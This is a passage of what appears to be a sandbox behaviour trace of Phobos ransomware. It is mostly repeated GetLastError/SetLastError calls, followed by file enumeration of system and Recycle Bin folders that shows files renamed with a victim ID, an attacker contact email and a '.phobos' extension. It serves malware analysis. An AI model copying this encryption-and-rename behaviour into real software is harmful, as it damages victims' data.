GetLastError () returned 0x0 [0124.148] SetLastError (dwErrCode=0x0) [0124.148] GetLastError () returned 0x0 [0124.148] SetLastError (dwErrCode=0x0) [0124.148] GetLastError () returned 0x0 [0124.148] SetLastError (dwErrCode=0x0) [0124.148] GetLastError () returned 0x0 [0124.148] SetLastError (dwErrCode=0x0) [0124.148] GetLastError () returned 0x0 [0124.148] SetLastError (dwErrCode=0x0) [0124.148] GetLastError () returned 0x0 [0124.148] SetLastError (dwErrCode=0x0) [0124.148] GetLastError () returned 0x0 [0124.148] SetLastError (dwErrCode=0x0) [0124.148] GetLastError () returned 0x0 [0124.148] SetLastError (dwErrCode=0x0) [0124.148] GetLastError () returned 0x0 [0124.148] SetLastError (dwErrCode=0x0) [0124.148] GetLastError () returned 0x0 [0124.149] SetLastError (dwErrCode=0x0) [0124.149] GetLastError () returned 0x0 [0124.149] SetLastError (dwErrCode=0x0) [0124.149] GetLastError () returned 0x0 [0124.149] SetLastError (dwErrCode=0x0) [0124.149] GetLastError () returned 0x0 [0124.149] SetLastError (dwErrCode=0x0) [0124.149] GetLastError () returned 0x0 [0124.149] SetLastError (dwErrCode=0x0) [0124.149] GetLastError () returned 0x0 [0124.149] SetLastError (dwErrCode=0x0) [0124.149] GetLastError () returned 0x0 [0124.149] SetLastError (dwErrCode=0x0) [0124.149] GetLastError () returned 0x0 [0124.149] SetLastError (dwErrCode=0x0) [0124.149] GetLastError () returned 0x0 [0124.149] SetLastError (dwErrCode=0x0) [0124.149] GetLastError () returned 0x0 [0124.149] SetLastError (dwErrCode=0x0) [0124.149] GetLastError () returned 0x0 [0124.149] SetLastError (dwErrCode=0x0) [0124.149] GetLastError () returned 0x0 [0124.149] SetLastError (dwErrCode=0x0) [0124.149] GetLastError () returned 0x0 [0124.149] SetLastError (dwErrCode=0x0) [0124.149] GetLastError () returned 0x0 [0124.149] SetLastError (dwErrCode=0x0) [0124.149] GetLastError () returned 0x0 [0124.149] SetLastError (dwErrCode=0x0) [0124.149] GetLastError () returned 0x0 [0124.150] SetLastError (dwErrCode=0x0) [0124.150] GetLastError () returned 0x0 [0124.150] SetLastError (dwErrCode=0x0) [0124.150] GetLastError () returned 0x0 [0124.150] SetLastError (dwErrCode=0x0) [0124.150] GetLastError () returned 0x0 [0124.150] SetLastError (dwErrCode=0x0) [0124.150] GetLastError () returned 0x0 [0124.150] SetLastError (dwErrCode=0x0) [0124.150] GetLastError () returned 0x0 [0124.150] SetLastError (dwErrCode=0x0) [0124.150] GetLastError () returned 0x0 [0124.150] SetLastError (dwErrCode=0x0) [0124.150] GetLastError () returned 0x0 [0124.150] SetLastError (dwErrCode=0x0) [0124.150] GetLastError () returned 0x0 [0124.150] SetLastError (dwErrCode=0x0) [0124.150] GetLastError () returned 0x0 [0124.150] SetLastError (dwErrCode=0x0) [0124.150] GetLastError () returned 0x0 [0124.150] SetLastError (dwErrCode=0x0) [0124.150] GetLastError () returned 0x0 [0124.150] SetLastError (dwErrCode=0x0) [0124.150] GetLastError () returned 0x0 [0124.151] SetLastError (dwErrCode=0x0) [0124.151] GetLastError () returned 0x0 [0124.151] SetLastError (dwErrCode=0x0) [0124.151] GetLastError () returned 0x0 [0124.151] SetLastError (dwErrCode=0x0) [0124.151] GetLastError () returned 0x0 [0124.151] SetLastError (dwErrCode=0x0) [0124.151] GetLastError () returned 0x0 [0124.151] SetLastError (dwErrCode=0x0) [0124.151] GetLastError () returned 0x0 [0124.151] SetLastError (dwErrCode=0x0) [0124.151] GetLastError () returned 0x0 [0124.151] SetLastError (dwErrCode=0x0) [0124.151] GetLastError () returned 0x0 [0124.151] SetLastError (dwErrCode=0x0) [0124.151] GetLastError () returned 0x0 [0124.151] SetLastError (dwErrCode=0x0) [0124.151] GetLastError () returned 0x0 [0124.151] SetLastError (dwErrCode=0x0) [0124.151] GetLastError () returned 0x0 [0124.151] SetLastError (dwErrCode=0x0) [0124.151] GetLastError () returned 0x0 [0124.151] SetLastError (dwErrCode=0x0) [0124.151] GetLastError () returned 0x0 [0124.151] SetLastError (dwErrCode=0x0) [0124.151] GetLastError () returned 0x0 [0124.151] SetLastError (dwErrCode=0x0) [0124.151] GetLastError () returned 0x0 [0124.151] SetLastError (dwErrCode=0x0) [0124.151] GetLastError () returned 0x0 [0124.152] SetLastError (dwErrCode=0x0) [0124.152] GetLastError () returned 0x0 [0124.152] SetLastError (dwErrCode=0x0) [0124.152] GetLastError () returned 0x0 [0124.152] SetLastError (dwErrCode=0x0) [0124.152] GetLastError () returned 0x0 [0124.152] SetLastError (dwErrCode=0x0) [0124.152] GetLastError () returned 0x0 [0124.152] SetLastError (dwErrCode=0x0) [0124.152] GetLastError () returned 0x0 [0124.152] SetLastError (dwErrCode=0x0) [0124.152] GetLastError () returned 0x0 [0124.152] SetLastError (dwErrCode=0x0) [0124.152] GetLastError () returned 0x0 [0124.152] SetLastError (dwErrCode=0x0) [0124.152] GetLastError () returned 0x0 [0124.152] SetLastError (dwErrCode=0x0) [0124.152] GetLastError () returned 0x0 [0124.152] SetLastError (dwErrCode=0x0) [0124.152] GetLastError () returned 0x0 [0124.152] SetLastError (dwErrCode=0x0) [0124.152] GetLastError () returned 0x0 [0124.152] SetLastError (dwErrCode=0x0) [0124.152] GetLastError () returned 0x0 [0124.152] SetLastError (dwErrCode=0x0) [0124.152] GetLastError () returned 0x0 [0124.152] SetLastError (dwErrCode=0x0) [0124.152] GetLastError () returned 0x0 [0124.153] SetLastError (dwErrCode=0x0) [0124.153] GetLastError () returned 0x0 [0124.153] SetLastError (dwErrCode=0x0) [0124.153] GetLastError () returned 0x0 [0124.153] SetLastError (dwErrCode=0x0) [0124.153] GetLastError () returned 0x0 [0124.153] SetLastError (dwErrCode=0x0) [0124.153] GetLastError () returned 0x0 [0124.153] SetLastError (dwErrCode=0x0) [0124.153] GetLastError () returned 0x0 [0124.153] SetLastError (dwErrCode=0x0) [0124.153] GetLastError () returned 0x0 [0124.153] SetLastError (dwErrCode=0x0) [0124.153] GetLastError () returned 0x0 [0124.153] SetLastError (dwErrCode=0x0) [0124.153] GetLastError () returned 0x0 [0124.153] SetLastError (dwErrCode=0x0) [0124.153] GetLastError () returned 0x0 [0124.153] SetLastError (dwErrCode=0x0) [0124.153] GetLastError () returned 0x0 [0124.153] SetLastError (dwErrCode=0x0) [0124.153] GetLastError () returned 0x0 [0124.153] SetLastError (dwErrCode=0x0) [0124.153] GetLastError () returned 0x0 [0124.153] SetLastError (dwErrCode=0x0) [0124.153] GetLastError () returned 0x0 [0124.153] SetLastError (dwErrCode=0x0) [0124.153] GetLastError () returned 0x0 [0124.153] SetLastError (dwErrCode=0x0) [0124.153] GetLastError () returned 0x0 [0124.154] SetLastError (dwErrCode=0x0) [0124.154] GetLastError () returned 0x0 [0124.154] SetLastError (dwErrCode=0x0) [0124.154] GetLastError () returned 0x0 [0124.154] SetLastError (dwErrCode=0x0) [0124.154] GetLastError () returned 0x0 [0124.154] SetLastError (dwErrCode=0x0) [0124.154] GetLastError () returned 0x0 [0124.154] SetLastError (dwErrCode=0x0) [0124.154] GetLastError () returned 0x0 [0124.154] SetLastError (dwErrCode=0x0) [0124.154] GetLastError () returned 0x0 [0124.154] SetLastError (dwErrCode=0x0) [0124.154] GetLastError () returned 0x0 [0124.154] SetLastError (dwErrCode=0x0) [0124.154] GetLastError () returned 0x0 [0124.154] SetLastError (dwErrCode=0x0) [0124.154] GetLastError () returned 0x0 [0124.154] SetLastError (dwErrCode=0x0) [0124.154] GetLastError () returned 0x0 [0124.154] SetLastError (dwErrCode=0x0) [0124.154] GetLastError () returned 0x0 [0124.154] SetLastError (dwErrCode=0x0) [0124.154] GetLastError () returned 0x0 [0124.154] SetLastError (dwErrCode=0x0) [0124.154] GetLastError () returned 0x0 [0124.154] SetLastError (dwErrCode=0x0) [0124.154] GetLastError () returned 0x0 [0124.154] SetLastError (dwErrCode=0x0) [0124.154] GetLastError () returned 0x0 [0124.155] SetLastError (dwErrCode=0x0) [0124.155] GetLastError () returned 0x0 [0124.155] SetLastError (dwErrCode=0x0) [0124.155] GetLastError () returned 0x0 [0124.155] SetLastError (dwErrCode=0x0) [0124.155] GetLastError () returned 0x0 [0124.155] SetLastError (dwErrCode=0x0) [0124.155] GetLastError () returned 0x0 [0124.155] SetLastError (dwErrCode=0x0) [0124.155] GetLastError () returned 0x0 [0124.155] SetLastError (dwErrCode=0x0) [0124.155] GetLastError () returned 0x0 [0124.155] SetLastError (dwErrCode=0x0) [0124.155] GetLastError () returned 0x0 [0124.155] SetLastError (dwErrCode=0x0) [0124.155] GetLastError () returned 0x0 [0124.155] SetLastError (dwErrCode=0x0) [0124.155] GetLastError () returned 0x0 [0124.155] SetLastError (dwErrCode=0x0) [0124.155] GetLastError () returned 0x0 [0124.155] SetLastError (dwErrCode=0x0) [0124.155] GetLastError () returned 0x0 [0124.155] SetLastError (dwErrCode=0x0) [0124.155] GetLastError () returned 0x0 [0124.155] SetLastError (dwErrCode=0x0) [0124.155] GetLastError () returned 0x0 [0124.155] SetLastError (dwErrCode=0x0) [0124.155] GetLastError () returned 0x0 [0124.156] SetLastError (dwErrCode=0x0) [0124.156] GetLastError () returned 0x0 [0124.156] SetLastError (dwErrCode=0x0) [0124.156] GetLastError () returned 0x0 [0124.156] SetLastError (dwErrCode=0x0) [0124.156] GetLastError () returned 0x0 [0124.156] SetLastError (dwErrCode=0x0) [0124.156] GetLastError () returned 0x0 [0124.156] SetLastError (dwErrCode=0x0) [0124.156] GetLastError () returned 0x0 [0124.156] SetLastError (dwErrCode=0x0) [0124.156] GetLastError () returned 0x0 [0124.156] SetLastError (dwErrCode=0x0) [0124.156] GetLastError () returned 0x0 [0124.156] SetLastError (dwErrCode=0x0) [0124.156] GetLastError () returned 0x0 [0124.156] SetLastError (dwErrCode=0x0) [0124.156] GetLastError () returned 0x0 [0124.156] SetLastError (dwErrCode=0x0) [0124.156] GetLastError () returned 0x0 [0124.156] SetLastError (dwErrCode=0x0) [0124.156] GetLastError () returned 0x0 [0124.156] SetLastError (dwErrCode=0x0) [0124.156] GetLastError () returned 0x0 [0124.156] SetLastError (dwErrCode=0x0) [0124.156] GetLastError () returned 0x0 [0124.156] SetLastError (dwErrCode=0x0) [0124.156] GetLastError () returned 0x0 [0124.156] SetLastError (dwErrCode=0x0) [0124.156] GetLastError () returned 0x0 [0124.157] SetLastError (dwErrCode=0x0) [0124.157] GetLastError () returned 0x0 [0124.157] SetLastError (dwErrCode=0x0) [0124.157] GetLastError () returned 0x0 [0124.157] SetLastError (dwErrCode=0x0) [0124.157] GetLastError () returned 0x0 [0124.157] SetLastError (dwErrCode=0x0) [0124.157] GetLastError () returned 0x0 [0124.157] SetLastError (dwErrCode=0x0) [0124.157] GetLastError () returned 0x0 [0124.157] SetLastError (dwErrCode=0x0) [0124.157] GetLastError () returned 0x0 [0124.157] SetLastError (dwErrCode=0x0) [0124.157] GetLastError () returned 0x0 [0124.157] SetLastError (dwErrCode=0x0) [0124.157] GetLastError () returned 0x0 [0124.157] SetLastError (dwErrCode=0x0) [0124.157] GetLastError () returned 0x0 [0124.157] SetLastError (dwErrCode=0x0) [0124.157] GetLastError () returned 0x0 [0124.157] SetLastError (dwErrCode=0x0) [0124.157] GetLastError () returned 0x0 [0124.157] SetLastError (dwErrCode=0x0) [0124.157] GetLastError () returned 0x0 [0124.157] SetLastError (dwErrCode=0x0) [0124.157] GetLastError () returned 0x0 [0124.157] SetLastError (dwErrCode=0x0) [0124.157] GetLastError () returned 0x0 [0124.157] SetLastError (dwErrCode=0x0) [0124.157] GetLastError () returned 0x0 [0124.158] SetLastError (dwErrCode=0x0) [0124.158] GetLastError () returned 0x0 [0124.158] SetLastError (dwErrCode=0x0) [0124.158] GetLastError () returned 0x0 [0124.158] SetLastError (dwErrCode=0x0) [0124.158] GetLastError () returned 0x0 [0124.158] SetLastError (dwErrCode=0x0) [0124.158] GetLastError () returned 0x0 [0124.158] SetLastError (dwErrCode=0x0) [0124.158] GetLastError () returned 0x0 [0124.158] SetLastError (dwErrCode=0x0) [0124.158] GetLastError () returned 0x0 [0124.158] SetLastError (dwErrCode=0x0) [0124.158] GetLastError () returned 0x0 [0124.158] SetLastError (dwErrCode=0x0) [0124.158] GetLastError () returned 0x0 [0124.158] SetLastError (dwErrCode=0x0) [0124.158] GetLastError () returned 0x0 [0124.158] SetLastError (dwErrCode=0x0) [0124.158] GetLastError () returned 0x0 [0124.158] SetLastError (dwErrCode=0x0) [0124.158] GetLastError () returned 0x0 [0124.158] SetLastError (dwErrCode=0x0) [0124.158] GetLastError () returned 0x0 [0124.158] SetLastError (dwErrCode=0x0) [0124.158] GetLastError () returned 0x0 [0124.158] SetLastError (dwErrCode=0x0) [0124.158] GetLastError () returned 0x0 [0124.159] SetLastError (dwErrCode=0x0) [0124.159] GetLastError () returned 0x0 [0124.159] SetLastError (dwErrCode=0x0) [0124.159] GetLastError () returned 0x0 [0124.159] SetLastError (dwErrCode=0x0) [0124.159] GetLastError () returned 0x0 [0124.159] SetLastError (dwErrCode=0x0) [0124.159] GetLastError () returned 0x0 [0124.159] SetLastError (dwErrCode=0x0) [0124.159] GetLastError () returned 0x0 [0124.159] SetLastError (dwErrCode=0x0) [0124.159] GetLastError () returned 0x0 [0124.159] SetLastError (dwErrCode=0x0) [0124.159] GetLastError () returned 0x0 [0124.159] SetLastError (dwErrCode=0x0) [0124.159] GetLastError () returned 0x0 [0124.159] SetLastError (dwErrCode=0x0) [0124.159] GetLastError () returned 0x0 [0124.159] SetLastError (dwErrCode=0x0) [0124.159] GetLastError () returned 0x0 [0124.159] SetLastError (dwErrCode=0x0) [0124.159] GetLastError () returned 0x0 [0124.159] SetLastError (dwErrCode=0x0) [0124.159] GetLastError () returned 0x0 [0124.159] SetLastError (dwErrCode=0x0) [0124.159] GetLastError () returned 0x0 [0124.159] SetLastError (dwErrCode=0x0) [0124.159] GetLastError () returned 0x0 [0124.159] SetLastError (dwErrCode=0x0) [0124.159] GetLastError () returned 0x0 [0124.160] SetLastError (dwErrCode=0x0) [0124.160] GetLastError () returned 0x0 [0124.160] SetLastError (dwErrCode=0x0) [0124.160] GetLastError () returned 0x0 [0124.160] SetLastError (dwErrCode=0x0) [0124.160] GetLastError () returned 0x0 [0124.160] SetLastError (dwErrCode=0x0) [0124.160] GetLastError () returned 0x0 [0124.160] SetLastError (dwErrCode=0x0) [0124.160] GetLastError () returned 0x0 [0124.160] SetLastError (dwErrCode=0x0) [0124.160] GetLastError () returned 0x0 [0124.160] SetLastError (dwErrCode=0x0) [0124.160] GetLastError () returned 0x0 [0124.160] SetLastError (dwErrCode=0x0) [0124.160] GetLastError () returned 0x0 [0124.160] SetLastError (dwErrCode=0x0) [0124.160] GetLastError () returned 0x0 [0124.160] SetLastError (dwErrCode=0x0) [0124.160] GetLastError () returned 0x0 [0124.160] SetLastError (dwErrCode=0x0) [0124.160] GetLastError () returned 0x0 [0124.160] SetLastError (dwErrCode=0x0) [0124.160] GetLastError () returned 0x0 [0124.160] SetLastError (dwErrCode=0x0) [0124.160] GetLastError () returned 0x0 [0124.160] SetLastError (dwErrCode=0x0) [0124.160] GetLastError () returned 0x0 [0124.160] SetLastError (dwErrCode=0x0) [0124.160] GetLastError () returned 0x0 [0124.161] SetLastError (dwErrCode=0x0) [0124.161] FindNextFileW (in: hFindFile=0x7b61a0, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecbb8aba, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecbb8aba, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecc2b066, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x18a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="OOBE_2~1.PHO")) returned 1 [0124.161] FindNextFileW (in: hFindFile=0x7b61a0, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecbdeca4, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecbdeca4, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecc04f50, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="PARTNE~1.PHO")) returned 1 [0124.161] FindNextFileW (in: hFindFile=0x7b61a0, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecbdeca4, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecbdeca4, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecc04f50, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="PARTNE~1.PHO")) returned 0 [0124.161] FindClose (in: hFindFile=0x7b61a0 | out: hFindFile=0x7b61a0) returned 1 [0124.161] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x3684070 | out: hHeap=0xe70000) returned 1 [0124.161] FindNextFileW (in: hFindFile=0x7b5d60, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0124.162] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5e60 [0124.163] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.163] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc9d90a, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecc9d90a, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecd41c6e, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x233d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="GETCUR~1.PHO")) returned 1 [0124.163] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeccc3a6f, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeccc3a6f, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecce9c9a, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x1a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="GETCUR~2.PHO")) returned 1 [0124.164] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc776bf, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecc776bf, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecc9d90a, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x362, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="PARTNE~1.PHO")) returned 1 [0124.164] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeccc3a6f, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeccc3a6f, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeccc3a6f, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="PREOOB~1.PHO")) returned 1 [0124.164] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecda89dd, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecda89dd, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecda89dd, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPC~1.PHO")) returned 1 [0124.164] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecda89dd, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecda89dd, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecda89dd, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPC~1.PHO")) returned 0 [0124.164] FindClose (in: hFindFile=0x7b5e60 | out: hFindFile=0x7b5e60) returned 1 [0124.165] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x3684070 | out: hHeap=0xe70000) returned 1 [0124.165] FindNextFileW (in: hFindFile=0x7b5d60, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0124.165] FindClose (in: hFindFile=0x7b5d60 | out: hFindFile=0x7b5d60) returned 1 [0124.165] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x3674068 | out: hHeap=0xe70000) returned 1 [0124.165] FindNextFileW (in: hFindFile=0x7b6120, lpFindFileData=0x3c3f640 | out: lpFindFileData=0x3c3f640*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c3f868, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0124.166] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\*", lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName=".", cAlternateFileName="")) returned 0x7b5da0 [0124.166] FindNextFileW (in: hFindFile=0x7b5da0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="..", cAlternateFileName="")) returned 1 [0124.166] FindNextFileW (in: hFindFile=0x7b5da0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0124.166] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x787a8a, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x16, ftLastWriteTime.dwLowDateTime=0x2, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="\x1bd7", cAlternateFileName="\xf8c8\x3c3\x4068\x367\x5c\x5c\x3f\x5c\x4090\x367\xf398\x3c3\x3939\x133\x08\x01\x4070\x367")) returned 0xffffffff [0124.167] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x3684070 | out: hHeap=0xe70000) returned 1 [0124.167] FindNextFileW (in: hFindFile=0x7b5da0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x73275b92, ftLastAccessTime.dwHighDateTime=0x1d5120a, ftLastWriteTime.dwLowDateTime=0x73275b92, ftLastWriteTime.dwHighDateTime=0x1d5120a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0124.167] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x73275b92, ftLastAccessTime.dwHighDateTime=0x1d5120a, ftLastWriteTime.dwLowDateTime=0x73275b92, ftLastWriteTime.dwHighDateTime=0x1d5120a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 